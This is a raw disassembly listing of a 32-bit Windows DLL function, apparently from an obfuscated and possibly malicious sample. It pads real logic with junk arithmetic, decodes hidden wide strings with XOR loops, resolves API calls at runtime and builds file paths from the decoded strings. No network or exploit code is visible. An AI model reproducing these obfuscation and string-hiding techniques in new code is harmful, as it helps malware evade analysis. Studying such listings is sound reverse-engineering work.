mov dword [ebp - 0x1d0], ecx
mov edx, dword [ebp - 0x1d4]
or edx, dword [ebp - 0x1d0]
je 0x1002db0d
cmp dword [ebp - 0x1d4], 1
jne 0x1002daf2
cmp dword [ebp - 0x1d0], 0
je 0x1002dbc6
cmp dword [ebp - 0x1d4], 2
jne 0x1002db08
cmp dword [ebp - 0x1d0], 0
je 0x1002dc98
jmp 0x1002dcdb
mov byte [ebp - 2], 0x81
cmp dword [0x100a20dc], 0
jne 0x1002db26
mov dword [ebp - 0x208], 1
jmp 0x1002db30
mov dword [ebp - 0x208], 0
movzx eax, byte [0x100a207a]
add eax, dword [ebp - 0x58]
jne 0x1002db48
mov dword [ebp - 0x20c], 1
jmp 0x1002db52
mov dword [ebp - 0x20c], 0
movzx ecx, byte [ebp - 1]
imul ecx, dword [ebp - 0x208]
sub ecx, dword [ebp - 0x20c]
mov edx, dword [ebp - 0x64]
not edx
movzx eax, byte [ebp - 2]
imul edx, eax
sub ecx, edx
jne 0x1002db79
mov byte [ebp - 0x66], 1
jmp 0x1002db7d
mov byte [ebp - 0x66], 0
mov cl, byte [ebp - 0x66]
mov byte [0x100a203b], cl
mov dx, word [0x100a2c3c]
mov word [0x100a2124], dx
mov eax, dword [ebp - 0x28]
cdq
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], edx
movzx eax, word [ebp - 0x14]
sub eax, 0xf8
mov dword [0x100a20dc], eax
movzx ecx, word [0x100a2118]
sub ecx, 0x569a
mov dword [ebp - 0x18], ecx
jmp 0x1002dcdb
mov edx, 4
mov word [0x100a2138], dx
movzx eax, byte [0x100a207a]
test eax, eax
jne 0x1002dbf1
xor ecx, ecx
mov dword [ebp - 0x4f0], 1
mov dword [ebp - 0x4ec], ecx
jmp 0x1002dbfc
xorps xmm0, xmm0
movlpd qword [ebp - 0x4f0], xmm0
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
not edx
not eax
mov ecx, dword [ebp - 0x4ec]
push ecx
mov ecx, dword [ebp - 0x4f0]
push ecx
push eax
push edx
call fcn.10073ef0
mov edx, dword [ebp - 0x3c]
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
mov dword [ebp - 0xcd8], esi
or edx, ecx
sub eax, edx
mov byte [str.HeapSize], al
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0xcdc], eax
mov ecx, 2
imul eax, ecx, 0x2dc9
mov word [eax + 0x100eea78], dx
movzx ecx, word [ebp - 0x10]
movzx edx, word [0x100a2118]
sub ecx, edx
mov eax, dword [0x100a2104]
or eax, ecx
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov eax, 0xc1c9
mov word [0x100a2138], ax
movzx ecx, word [0x100a2124]
not ecx
mov byte [0x100a207b], cl
jmp 0x1002dcdb
movzx edx, word [0x100a2138]
sub edx, 0x1f01a4a
mov dword [ebp - 0x38], edx
mov ax, word [0x100a211c]
mov word [0x100a2138], ax
mov ecx, dword [0x100a2c3c]
mov dword [0x100a2100], ecx
movzx edx, word [0x100a2118]
sub edx, dword [ebp - 0x3c]
mov word [0x100a2118], dx
mov ax, word [ebp - 0x40]
mov word [0x100a2124], ax
movzx ecx, word [ebp - 0x10]
test ecx, ecx
jne 0x1002dd47
cmp dword [ebp - 0x28], 0
jne 0x1002dd47
mov edx, dword [0x100a20d8]
xor eax, eax
mov dword [ebp - 0x7ec], edx
mov dword [ebp - 0x7e8], eax
mov ecx, dword [ebp - 0x7ec]
cmp ecx, dword [0x100a20f8]
jne 0x1002dd19
mov edx, dword [ebp - 0x7e8]
cmp edx, dword [0x100a20fc]
je 0x1002dd25
mov dword [ebp - 0x210], 1
jmp 0x1002dd2f
mov dword [ebp - 0x210], 0
mov eax, dword [ebp - 0x210]
not eax
test eax, eax
jne 0x1002dd47
mov dword [ebp - 0x214], 0
jmp 0x1002dd51
mov dword [ebp - 0x214], 1
movzx ecx, byte [ebp - 1]
cmp dword [ebp - 0x40], ecx
je 0x1002dd66
mov dword [ebp - 0x218], 1
jmp 0x1002dd70
mov dword [ebp - 0x218], 0
mov edx, dword [ebp - 0x214]
not edx
mov eax, dword [ebp - 0x218]
not eax
cmp edx, eax
jl 0x1002de94
cmp dword [0x100a2114], 0
jne 0x1002dd9d
mov dword [ebp - 0x21c], 1
jmp 0x1002dda7
mov dword [ebp - 0x21c], 0
movzx ecx, word [ebp - 8]
xor ecx, dword [ebp - 0x21c]
movsx edx, word [0x100a20c8]
and ecx, edx
mov word [0x100a2138], cx
mov eax, dword [ebp - 0x18]
and eax, 0xe2fe
xor ecx, ecx
xor edx, edx
mov esi, dword [0x100a20e8]
mov edi, dword [0x100a20ec]
xor esi, dword [ebp - 0x64]
xor edi, edx
push edi
push esi
push ecx
push eax
call fcn.10073ef0
mov dword [0x100a2120], eax
mov eax, dword [0x100a20dc]
sub eax, dword [0x100a2140]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x4c]
cdq
mov ecx, eax
mov esi, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0xce0], edx
not esi
movzx eax, word [0x100a2124]
cdq
xor esi, eax
sub ecx, esi
mov byte [0x100a2027], cl
mov esi, dword [ebp - 0x1c]
add esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
not eax
movzx ecx, byte [ebp - 1]
sub eax, ecx
not eax
xor esi, eax
xor edi, edi
movzx eax, byte [ebp - 2]
cdq
mov ebx, eax
mov eax, edx
movzx edx, word [ebp - 0x10]
not edx
mov dword [ebp - 0x6c4], eax
mov eax, edx
cdq
mov ecx, dword [0x100a2108]
mov dword [ebp - 0x6c8], esi
mov esi, dword [0x100a210c]
not ecx
not esi
push esi
push ecx
push edx
push eax
call fcn.10073ef0
not eax
not edx
sub ebx, eax
mov esi, dword [ebp - 0x6c4]
sbb esi, edx
push esi
push ebx
push edi
mov esi, dword [ebp - 0x6c8]
push esi
call fcn.10073ef0
mov dword [ebp - 0x4c], eax
mov edx, dword [0x100a2148]
mov eax, dword [0x100a214c]
mov dword [ebp - 0x7f4], edx
mov dword [ebp - 0x7f0], eax
mov ecx, dword [ebp - 0x7f4]
or ecx, dword [ebp - 0x7f0]
je 0x1002df84
movzx edx, byte [ebp - 3]
movzx eax, byte [0x100a207a]
cmp edx, eax
jg 0x1002df82
mov ecx, dword [0x100a20f4]
movsx edx, word [ebp - 0xc]
lea eax, [edx + ecx + 0x9d61a77]
mov word [ebp - 0xc], ax
cmp dword [ebp - 0x58], 0
je 0x1002def7
movzx ecx, byte [ebp - 2]
mov dword [ebp - 0x220], ecx
jmp 0x1002df04
movsx edx, byte [0x100a2027]
mov dword [ebp - 0x220], edx
mov eax, dword [ebp - 0x220]
cdq
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
movzx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x38]
xor ecx, eax
mov edx, dword [ebp - 0x38]
add edx, ecx
mov dword [ebp - 0x38], edx
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov edx, dword [0x100a2144]
push edx
mov edx, dword [0x100a2140]
push edx
push ecx
push eax
call fcn.10073ef0
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
sub ecx, eax
sbb esi, edx
mov dword [0x100a2108], ecx
mov dword [0x100a210c], esi
mov eax, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov cl, 1
call fcn.10073f50
mov byte [ebp - 3], al
mov edx, dword [ebp - 0x58]
imul edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
jmp 0x1002dfd4
movsx eax, word [ebp - 0xc]
test eax, eax
je 0x1002dfd4
mov cx, word [0x100a2c3c]
mov word [ebp - 0x14], cx
mov edx, dword [0x100a20dc]
add edx, 0x32a8a105
mov byte [str.HeapSize], dl
movsx eax, byte [0x100a2027]
test eax, eax
je 0x1002dfbf
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x224], ecx
jmp 0x1002dfcb
mov edx, dword [0x100a2114]
mov dword [ebp - 0x224], edx
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x170], 0x2f1
jmp 0x1002dfef
mov ecx, dword [ebp - 0x170]
sub ecx, 1
mov dword [ebp - 0x170], ecx
cmp dword [ebp - 0x170], 0
jle 0x1002e016
mov edx, dword [0x100a20f8]
add edx, 1
mov eax, dword [0x100a20fc]
adc eax, 0
mov dword [0x100a20f8], edx
mov dword [0x100a20fc], eax
jmp 0x1002dfe0
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x1002e07c
mov eax, dword [ebp - 0x1c]
cdq
sub eax, 0x290d77e3
mov byte [str.y4The_server_is_requ], al
mov dx, word [ebp - 0x2c]
mov word [0x100a2138], dx
mov eax, 1
imul ecx, eax, 0x2b9c
mov dl, byte [ebp - 0x3c]
mov byte [ecx + 0x102dfbc0], dl
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x48]
or ecx, dword [ebp - 0x44]
jne 0x1002e067
mov dword [ebp - 0x228], 1
jmp 0x1002e071
mov dword [ebp - 0x228], 0
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x1c], edx
jmp 0x1002e092
mov eax, dword [ebp - 0x4c]
cdq
sub eax, 0xc1daae43
mov dword [ebp - 0x58], eax
mov dword [0x100a20dc], 0x13622de2
mov eax, dword [ebp - 0x3c]
and eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
movzx ecx, byte [ebp - 3]
mov edx, dword [0x100a20e4]
sub edx, ecx
add edx, dword [0x100a20e4]
mov dword [0x100a20e4], edx
xor eax, eax
mov byte [ebp - 0x6f], al
lea ecx, [ebp - 0xe74]
push ecx
lea ecx, [ebp - 0x6f]
call fcn.10002ac0
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], 0
jmp 0x1002e0e8
mov edx, dword [ebp - 0xe4]
add edx, 1
mov dword [ebp - 0xe4], edx
cmp dword [ebp - 0xe4], 0xe
jae 0x1002e14a
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xe8]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x6cc], edx
mov eax, dword [ebp - 0x6cc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xe8]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x138], cx
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xe8]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x6d0], eax
mov ecx, dword [ebp - 0x6d0]
mov dx, word [ebp - 0x138]
mov word [ecx], dx
jmp 0x1002e0d9
mov eax, 0xe
shl eax, 1
mov ecx, dword [ebp - 0xe8]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x6d4], edx
xor eax, eax
mov ecx, dword [ebp - 0x6d4]
mov word [ecx], ax
mov edx, dword [ebp - 0xe8]
add edx, 2
mov dword [ebp - 0x6d8], edx
push 0x410
lea eax, [ebp - 0x1408]
push eax
mov ecx, dword [ebp - 0x6d8]
push ecx
push 0
push 0
call fcn.10001350
call eax
xor edx, edx
mov byte [ebp - 0x6e], dl
lea eax, [ebp - 0xf7a]
push eax
lea ecx, [ebp - 0x6e]
call fcn.100030e0
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], 0
jmp 0x1002e1ce
mov ecx, dword [ebp - 0xec]
add ecx, 1
mov dword [ebp - 0xec], ecx
cmp dword [ebp - 0xec], 0x17
jae 0x1002e230
mov edx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xf0]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x6dc], ecx
mov edx, dword [ebp - 0x6dc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xf0]
movsx edx, byte [ecx]
xor eax, edx
mov word [ebp - 0x13a], ax
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xf0]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x6e0], edx
mov eax, dword [ebp - 0x6e0]
mov cx, word [ebp - 0x13a]
mov word [eax], cx
jmp 0x1002e1bf
mov edx, 0x17
shl edx, 1
mov eax, dword [ebp - 0xf0]
lea ecx, [eax + edx + 2]
mov dword [ebp - 0x6e4], ecx
xor edx, edx
mov eax, dword [ebp - 0x6e4]
mov word [eax], dx
mov ecx, dword [ebp - 0xf0]
add ecx, 2
mov dword [ebp - 0x6e8], ecx
push 0x410
lea edx, [ebp - 0x1818]
push edx
mov eax, dword [ebp - 0x6e8]
push eax
push 0
push 0
call fcn.10001350
call eax
xor ecx, ecx
mov byte [ebp - 0x6d], cl
lea edx, [ebp - 0xf48]
push edx
lea ecx, [ebp - 0x6d]
call fcn.10003860
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], 0
jmp 0x1002e2b4
mov eax, dword [ebp - 0xf4]
add eax, 1
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x16
jae 0x1002e316
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0xf8]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x6ec], eax
mov ecx, dword [ebp - 0x6ec]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xf8]
movsx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0x13c], dx
mov edx, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf8]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x6f0], ecx
mov edx, dword [ebp - 0x6f0]
mov ax, word [ebp - 0x13c]
mov word [edx], ax
jmp 0x1002e2a5
mov ecx, 0x16
shl ecx, 1
mov edx, dword [ebp - 0xf8]
lea eax, [edx + ecx + 2]
mov dword [ebp - 0x6f4], eax
xor ecx, ecx
mov edx, dword [ebp - 0x6f4]
mov word [edx], cx
mov eax, dword [ebp - 0xf8]
add eax, 2
mov dword [ebp - 0x6f8], eax
push 0x410
lea ecx, [ebp - 0x1c28]
push ecx
mov edx, dword [ebp - 0x6f8]
push edx
push 0
push 0
call fcn.10001350
call eax
xor eax, eax
mov byte [ebp - 0x79], al
lea ecx, [ebp - 0xec0]
push ecx
lea ecx, [ebp - 0x79]
call fcn.10003da0
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], 0
jmp 0x1002e39a
mov edx, dword [ebp - 0xfc]
add edx, 1
mov dword [ebp - 0xfc], edx
cmp dword [ebp - 0xfc], 0x14
jae 0x1002e3fc
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x100]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x6fc], edx
mov eax, dword [ebp - 0x6fc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x100]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x13e], cx
mov ecx, dword [ebp - 0xfc]
mov edx, dword [ebp - 0x100]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x700], eax
mov ecx, dword [ebp - 0x700]
mov dx, word [ebp - 0x13e]
mov word [ecx], dx
jmp 0x1002e38b
mov eax, 0x14
shl eax, 1
mov ecx, dword [ebp - 0x100]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x704], edx
xor eax, eax
mov ecx, dword [ebp - 0x704]
mov word [ecx], ax
mov edx, dword [ebp - 0x100]
add edx, 2
mov dword [ebp - 0x708], edx
push 0x410
lea eax, [ebp - 0x2038]
push eax
mov ecx, dword [ebp - 0x708]
push ecx
push 0
push 0
call fcn.10001350
call eax
xor edx, edx
mov byte [ebp - 0x78], dl
lea eax, [ebp - 0xe20]
push eax
lea ecx, [ebp - 0x78]
call fcn.10004140
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], 0
jmp 0x1002e480
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
cmp dword [ebp - 0x104], 0xa
jae 0x1002e4e2
mov edx, dword [ebp - 0x104]
mov eax, dword [ebp - 0x108]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x70c], ecx
mov edx, dword [ebp - 0x70c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x108]
movsx edx, byte [ecx]
xor eax, edx
mov word [ebp - 0x1c2], ax
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x108]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x710], edx
mov eax, dword [ebp - 0x710]
mov cx, word [ebp - 0x1c2]
mov word [eax], cx
jmp 0x1002e471
mov edx, 0xa
shl edx, 1
mov eax, dword [ebp - 0x108]
lea ecx, [eax + edx + 2]
mov dword [ebp - 0x714], ecx
xor edx, edx
mov eax, dword [ebp - 0x714]
mov word [eax], dx
mov ecx, dword [ebp - 0x108]
add ecx, 2
mov dword [ebp - 0x718], ecx
mov edx, dword [ebp - 0x718]
push edx
lea eax, [ebp - 0x1408]
push eax
push 0
push 0
call fcn.10001320
call eax
lea ecx, [ebp - 0x1818]
push ecx
lea edx, [ebp - 0x1408]
push edx
push 0
push 0
call fcn.10001320
call eax
xor eax, eax
mov byte [ebp - 0x74], al
lea ecx, [ebp - 0xe54]
push ecx
lea ecx, [ebp - 0x74]
call fcn.100041f0
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0xe0], 0
jmp 0x1002e57a
mov edx, dword [ebp - 0xe0]
add edx, 1
mov dword [ebp - 0xe0], edx
cmp dword [ebp - 0xe0], 0xc
jae 0x1002e5dc
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x71c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x10c]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x140], cx
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0x10c]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x720], eax
mov ecx, dword [ebp - 0x720]
mov dx, word [ebp - 0x140]
mov word [ecx], dx
jmp 0x1002e56b
mov eax, 0xc
shl eax, 1
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x724], edx
xor eax, eax
mov ecx, dword [ebp - 0x724]
mov word [ecx], ax
mov edx, dword [ebp - 0x10c]
add edx, 2
mov dword [ebp - 0x728], edx
mov eax, dword [ebp - 0x728]
push eax
lea ecx, [ebp - 0x303c]
push ecx
push 0
push 0
call fcn.10001470
call eax
lea edx, [ebp - 0x1c28]
push edx
lea eax, [ebp - 0x303c]
push eax
push 0
push 0
call fcn.10001320
call eax
xor ecx, ecx
mov byte [ebp - 0x71], cl
lea edx, [ebp - 0xe08]
push edx
lea ecx, [ebp - 0x71]
call fcn.10004480
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], 0
jmp 0x1002e674
mov eax, dword [ebp - 0x110]
add eax, 1
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 8
jae 0x1002e6d6
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x114]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x72c], eax
mov ecx, dword [ebp - 0x72c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x114]
movsx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0x142], dx
mov edx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x114]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x730], ecx
mov edx, dword [ebp - 0x730]
mov ax, word [ebp - 0x142]
mov word [edx], ax
jmp 0x1002e665
mov ecx, 8
shl ecx, 1
mov edx, dword [ebp - 0x114]
lea eax, [edx + ecx + 2]
mov dword [ebp - 0x734], eax
xor ecx, ecx
mov edx, dword [ebp - 0x734]
mov word [edx], cx
mov eax, dword [ebp - 0x114]
add eax, 2
mov dword [ebp - 0x738], eax
mov ecx, dword [ebp - 0x738]
push ecx
lea edx, [ebp - 0x303c]
push edx
push 0
push 0
call fcn.10001320
call eax
lea eax, [ebp - 0x2038]
push eax
lea ecx, [ebp - 0x303c]
push ecx
push 0
push 0
call fcn.10001320
call eax
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
not ecx
not esi
mov dword [ebp - 0x7fc], edx
mov dword [ebp - 0x7f8], eax
mov dword [ebp - 0x804], ecx
mov dword [ebp - 0x800], esi
mov edx, dword [ebp - 0x7f8]
cmp edx, dword [ebp - 0x800]
jb 0x1002e796
ja 0x1002e78a
mov eax, dword [ebp - 0x7fc]
cmp eax, dword [ebp - 0x804]
jb 0x1002e796
mov dword [ebp - 0x22c], 1
jmp 0x1002e7a0
mov dword [ebp - 0x22c], 0
xor ecx, ecx
sub ecx, dword [ebp - 0x38]
je 0x1002e7b9
cmp dword [ebp - 0x18], 0
je 0x1002e7b9
mov dword [ebp - 0x230], 1
jmp 0x1002e7c3
mov dword [ebp - 0x230], 0
mov edx, dword [ebp - 0x22c]
cmp edx, dword [ebp - 0x230]
je 0x1002e7d6
jmp 0x1002e8d7
movzx eax, word [ebp - 0x10]
test eax, eax
jne 0x1002e7f2
movzx ecx, word [ebp - 0x14]
test ecx, ecx
jne 0x1002e7f2
mov dword [ebp - 0x234], 0
jmp 0x1002e7fc
mov dword [ebp - 0x234], 1
movzx eax, byte [0x100a207a]
not eax
cdq
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x80c], eax
mov dword [ebp - 0x808], edx
mov dword [ebp - 0x814], ecx
mov dword [ebp - 0x810], esi
mov edx, dword [ebp - 0x808]
cmp edx, dword [ebp - 0x810]
jg 0x1002e84e
jl 0x1002e842
mov eax, dword [ebp - 0x80c]
cmp eax, dword [ebp - 0x814]
jae 0x1002e84e
mov dword [ebp - 0x238], 1
jmp 0x1002e858
mov dword [ebp - 0x238], 0
mov ecx, dword [ebp - 0x234]
sub ecx, dword [ebp - 0x238]
je 0x1002e8d7
movsx edx, byte [str.y4The_server_is_requ]
mov dword [0x100a20dc], edx
movsx eax, word [0x100a20c8]
mov dword [0x100a20e4], eax
push 0
push 0x70
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call fcn.10073ef0
mov ecx, dword [ebp - 0x2c]
xor esi, esi
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x4c], 0xd8a8
imul edx, dword [ebp - 0x18], 0x92
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x40]
xor ecx, ecx
mov edx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
push ecx
push eax
push esi
push edx
call fcn.10073ef0
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], edx
push 0
lea eax, [ebp - 0x1408]
push eax
push 0
push 0
call fcn.10001590
call eax
test eax, eax
je 0x10036880
movzx eax, byte [str.HeapSize]
cdq
mov dword [ebp - 0x81c], eax
mov dword [ebp - 0x818], edx
mov ecx, dword [ebp - 0x818]
cmp ecx, dword [0x100a20d4]
jl 0x1002ebb9
jg 0x1002e92d
mov edx, dword [ebp - 0x81c]
cmp edx, dword [0x100a20d0]
jbe 0x1002ebb9
movzx eax, byte [ebp - 3]
cdq
mov dword [ebp - 0x824], eax
mov dword [ebp - 0x820], edx
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x824]
jne 0x1002e954
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [ebp - 0x820]
je 0x1002e960
mov dword [ebp - 0x23c], 1
jmp 0x1002e96a
mov dword [ebp - 0x23c], 0
cmp dword [ebp - 0x60], 0x53
jne 0x1002e976
cmp dword [ebp - 0x5c], 0
je 0x1002e982
mov dword [ebp - 0x240], 1
jmp 0x1002e98c
mov dword [ebp - 0x240], 0
mov edx, dword [ebp - 0x23c]
cmp edx, dword [ebp - 0x240]
jle 0x1002ebb4
mov dword [ebp - 0x174], 0x16
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xce4], ecx
add eax, 0x5e
mov byte [0x100a207a], al
movzx edx, word [0x100a211c]
movzx eax, byte [str.HeapSize]
imul eax, dword [0x100a2114]
add edx, eax
movzx ecx, word [0x100a2118]
imul edx, ecx
test edx, edx
jne 0x1002e9ef
mov edx, 1
mov word [ebp - 0x9a], dx
jmp 0x1002e9f8
xor eax, eax
mov word [ebp - 0x9a], ax
mov cx, word [ebp - 0x9a]
mov word [0x100a2124], cx
mov edx, dword [0x100a2150]
mov eax, dword [0x100a2154]
mov dword [ebp - 0x82c], edx
mov dword [ebp - 0x828], eax
mov ecx, dword [ebp - 0x82c]
or ecx, dword [ebp - 0x828]
je 0x1002ea3e
mov edx, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x4f8], edx
mov dword [ebp - 0x4f4], eax
jmp 0x1002ea56
mov ecx, dword [0x100a20d0]
mov edx, dword [0x100a20d4]
mov dword [ebp - 0x4f8], ecx
mov dword [ebp - 0x4f4], edx
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x1c], eax
movzx eax, byte [ebp - 2]
cdq
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0xce8], edx
add ecx, eax
not ecx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [0x100a20f8]
sub ecx, dword [ebp - 0x54]
mov edx, dword [0x100a20fc]
sbb edx, eax
mov dword [0x100a20f8], ecx
mov dword [0x100a20fc], edx
mov eax, dword [0x100a20d0]
sub eax, 0x26b27efe
mov dword [0x100a20d8], eax
mov ecx, dword [ebp - 0x58]
add ecx, 0x60c395c8
mov word [0x100a2118], cx
movzx edx, word [ebp - 0x14]
test edx, edx
jne 0x1002ead0
mov dword [ebp - 0x244], 1
jmp 0x1002eada
mov dword [ebp - 0x244], 0
movsx eax, word [0x100a20f0]
add eax, dword [ebp - 0x244]
add eax, dword [ebp - 0x18]
jne 0x1002eb00
xor ecx, ecx
mov dword [ebp - 0x834], 1
mov dword [ebp - 0x830], ecx
jmp 0x1002eb0b
xorps xmm0, xmm0
movlpd qword [ebp - 0x834], xmm0
movzx eax, word [0x100a2118]
cdq
mov ecx, eax
mov esi, edx
mov edx, dword [0x100a20ec]
sub ecx, dword [0x100a20e8]
sbb esi, edx
movzx eax, word [0x100a2138]
imul eax, eax, 0x74
cdq
push edx
push eax
push esi
push ecx
call fcn.10073ef0
xor eax, dword [ebp - 0x834]
mov byte [0x100a207b], al
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0xcec], edx
sub ecx, 0x3b
mov dword [ebp - 0x4c], ecx
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1002eb76
mov eax, dword [ebp - 0x38]
cdq
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], edx
jmp 0x1002eb88
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x500], ecx
mov dword [ebp - 0x4fc], edx
mov ax, word [ebp - 0x500]
mov word [0x100a2118], ax
mov ecx, dword [ebp - 0x174]
add ecx, 1
mov dword [ebp - 0x174], ecx
cmp dword [ebp - 0x174], 0x26e2
jl 0x1002eaac
jmp 0x1002ec40
movzx eax, byte [ebp - 1]
cdq
mov dword [ebp - 0x83c], eax
mov dword [ebp - 0x838], edx
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x838]
ja 0x1002ebf6
jb 0x1002ebe2
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x83c]
ja 0x1002ebf6
xor ecx, ecx
mov dword [ebp - 0x508], 1
mov dword [ebp - 0x504], ecx
jmp 0x1002ec01
xorps xmm0, xmm0
movlpd qword [ebp - 0x508], xmm0
mov edx, dword [ebp - 0x504]
cmp edx, dword [0x100a20d4]
jg 0x1002ec40
jl 0x1002ec1f
mov eax, dword [ebp - 0x508]
cmp eax, dword [0x100a20d0]
ja 0x1002ec40
mov ecx, dword [ebp - 0x38]
add ecx, 0xdf
mov dword [ebp - 0x38], ecx
imul edx, dword [ebp - 0x40], 0xb
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x40]
and eax, 0x2a0dd81c
mov word [0x100a2118], ax
mov byte [str.HeapSize], 0x29
mov eax, dword [ebp - 0x1c]
cdq
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
imul ecx, dword [ebp - 0x28], 0x17340b75
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x1c]
add edx, 0x66497cd8
mov eax, dword [0x100a2120]
sub eax, edx
mov dword [0x100a2120], eax
mov ecx, dword [ebp - 0x60]
add ecx, 0x34769b5e
mov word [0x100a2118], cx
mov edx, dword [ebp - 0x28]
sub edx, 0x1d576d85
cmp dword [0x100a2100], edx
jne 0x1002edd8
movsx eax, word [0x100a20f0]
add eax, dword [ebp - 0x28]
cmp eax, 1
jne 0x1002edd8
movsx ecx, byte [0x100a203b]
movsx edx, word [0x100a20c8]
cmp ecx, edx
je 0x1002ecee
mov ecx, 8
mov esi, str.ErrorDescription
lea edi, [ebp - 0xdcc]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0xdcc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cdq
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], edx
jmp 0x1002ed22
movsx ecx, byte [0x100a2027]
test ecx, ecx
je 0x1002ed22
mov dword [ebp - 0x38], 0x3349602e
mov edx, dword [ebp - 0x18]
sub edx, 0x80f6
mov word [0x100a2138], dx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
sub eax, 1
